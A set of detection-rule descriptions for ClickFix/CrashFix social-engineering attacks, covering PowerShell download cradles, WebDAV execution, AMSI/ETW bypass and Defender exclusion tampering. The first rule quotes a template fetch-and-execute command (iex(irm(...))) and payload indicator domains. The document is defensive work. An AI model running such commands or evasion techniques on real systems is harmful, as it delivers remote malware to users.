Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.

Detects suspicious PowerShell process execution initiated by Windows Explorer, specifically involving WebDAV-related commands or network share mounting indicators. This pattern is commonly associated with attackers attempting to download and execute remote payloads from WebDAV shares to bypass security controls.
Detects the execution of PowerShell via explorer.exe (typically initiated through the Windows Run dialog) where the command line references a WebDAV UNC path (containing DavWWWRoot). This behavior is characteristic of 'ClickFix' social engineering attacks, where users are coerced into copying and pasting commands into the Run dialog that trigger remote script execution.
Detects the execution of PowerShell or MSHTA from explorer.exe with command line arguments indicative of malicious activity, such as hidden windows, Base64 encoding, or command execution (IEX/Invoke-Expression). This behavior is common in fileless malware delivery and script-based initial access.
Detects ClickFix-style activity where a user is tricked into entering or pasting malicious command strings into the Windows File Explorer address bar. This activity results in the spawning of common utilities like cmd.exe, powershell.exe, or certutil.exe with arguments associated with UNC paths, Base64 encoding, or download cradles (e.g., IEX, bitsadmin, or URLCache operations).

Detects potential execution of malicious commands following a fake browser crash dialog, often used in social engineering attacks (CrashFix). The rule identifies PowerShell or Windows Script Host processes spawned by common web browsers shortly after a browser session start, specifically looking for common command-line indicators used to copy-paste or execute malicious snippets, while filtering out legitimate WerFault.exe crash reporting activity.

The rule identifies PowerShell or Windows Script Host processes spawned by common web browsers shortly after a browser session start, specifically looking for common command-line indicators used to copy-paste or execute malicious snippets, while filtering out legitimate WerFault.exe crash reporting activity.
Detects potential malicious PowerShell activity involving suspicious file paths in 'C:\Users\Public\' and the use of 'UPLOAD' command strings, which may indicate the staging and execution of payloads.
This rule detects potential 'ClickFix' phishing activity where a user is tricked into executing malicious commands in a Windows shell. The rule looks for browser or file explorer processes acting as the parent process to command-line interpreters (cmd.exe, powershell.exe, etc.) executing suspicious command-line arguments often used to fetch or run malicious scripts from the internet.
Detects the use of PowerShell script blocks that attempt to bypass or disable Antimalware Scan Interface (AMSI) or Event Tracing for Windows (ETW) by interacting with internal .NET objects or DLLs, a common technique in phishing-delivered payloads.
This rule detects interactive or user-triggered execution of PowerShell carrying indicators of payload downloading, inline evaluation, or Base64 encoding. Because explorer.exe is the parent process, it typically signifies a payload delivered via email/web that a user opened directly such as an .lnk shortcut.

Detects the execution of shell interpreters (PowerShell, CMD, Bash, Zsh) with suspicious command-line arguments typically associated with malicious activity, such as encoded commands, hidden window styles, or network download requests, when initiated by common user-facing applications like web browsers or Windows Explorer.
Detects the use of PowerShell processes that employ command-line encoding (e.g., -enc, -EncodedCommand) in conjunction with download-related cmdlets (e.g., DownloadString, IEX, Invoke-WebRequest), or instances of PowerShell spawned as a child process of another PowerShell process. This pattern is indicative of a loader or stage-one script fetching additional malicious payloads.
Detects the use of PowerShell cmdlets (Add-MpPreference or Set-MpPreference) to modify Microsoft Defender exclusions (paths, processes, or extensions). This behavior is often associated with adversaries attempting to evade security detection by excluding malicious files or processes from being scanned by Microsoft Defender.
Detects the execution of PowerShell scripts located in Windows temporary directories (AppData/Local/Temp or Temp) that utilize common evasion flags such as hidden window style, bypass execution policy, or non-interactive mode. This behavior is frequently associated with initial stagers, droppers, or malicious script execution.
Detects suspicious process execution patterns associated with RMMCRAT, where the Windows SmartScreen process (smartscreen.exe) spawns cmd.exe, which subsequently launches PowerShell with specific parameters for piped input/output. This behavior is characteristic of malicious code injection and command-and-control activity.
